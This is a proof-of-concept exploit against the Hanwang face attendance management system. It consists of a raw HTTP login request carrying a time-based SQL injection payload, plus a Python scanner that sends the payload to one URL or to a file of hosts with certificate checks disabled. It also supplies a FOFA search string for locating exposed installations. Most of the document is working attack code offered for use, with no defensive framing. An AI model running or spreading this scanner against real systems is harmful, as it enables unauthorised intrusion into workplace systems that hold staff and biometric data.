汉王人脸考勤管理系统

POST /Login/Check HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 50Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://xxx.xxx.xxx.xxxReferer: http://xxx.xxx.xxx.xxxAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ASP.NET_SessionId=d3bcakylkgolfzy3ftefkcqbConnection: closestrName=admin';WAITFOR DELAY '0:0:5'--&strPwd=dasd

import requestsimport sysimport argparsefrom requests.packages.urllib3.exceptions import InsecureRequestWarning  #消除警告requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # 消除警告def lemonlove7():    print('python xxx.py -u/--url http://xxx.xxx.xxx.xxx')    print('python xxx.py -f/--file x.txt')    print('FOFA:"汉王人脸考勤管理系统"')    print('lemonlove7')if len(sys.argv)==1:    lemonlove7()    sys.exit()p = argparse.ArgumentParser(description='lemonlove7')p.add_argument('-u','--url',help='输入url',default='')p.add_argument('-f','--file',help='输入文件',default='')a = p.parse_args()url = a.urlfile = a.fileheaders= {    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',    'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',    'Cookie':'ASP.NET_SessionId=d3bcakylkgolfzy3ftefkcqb'}data="strName=admin';WAITFOR DELAY '0:0:5'--&strPwd=dasd"if url != '':    furl = url    try:        url =furl+'/Login/Check/'        r= requests.post(url=url,headers=headers,data=data,timeout=10,verify=False)        if r.status_code == 200 and 'ok' in r.text:            print(furl+'存在sql注入')        else:            print(furl+'不存在sql注入')    except Exception as e:        print(furl+'不存在sql注入')if file !='':    text =file    f = open(text,'r+')    for i in f.readlines():        url = i.strip()        if url.startswith('http:') != 1 and url.startswith('https:') != 1:            url = 'http://' + url        url1 = url        url2=url        try:            url1 = url+'/Login/Check/'            r =requests.post(url=url1,headers=headers,data=data,timeout = 10,verify=False)            if r.status_code==200 and 'ok' in r.text:                print(url2+'存在sql注入')            else:                print(url2+'不存在sql注入')        except Exception as e:            print(url2+'不存在sql注入')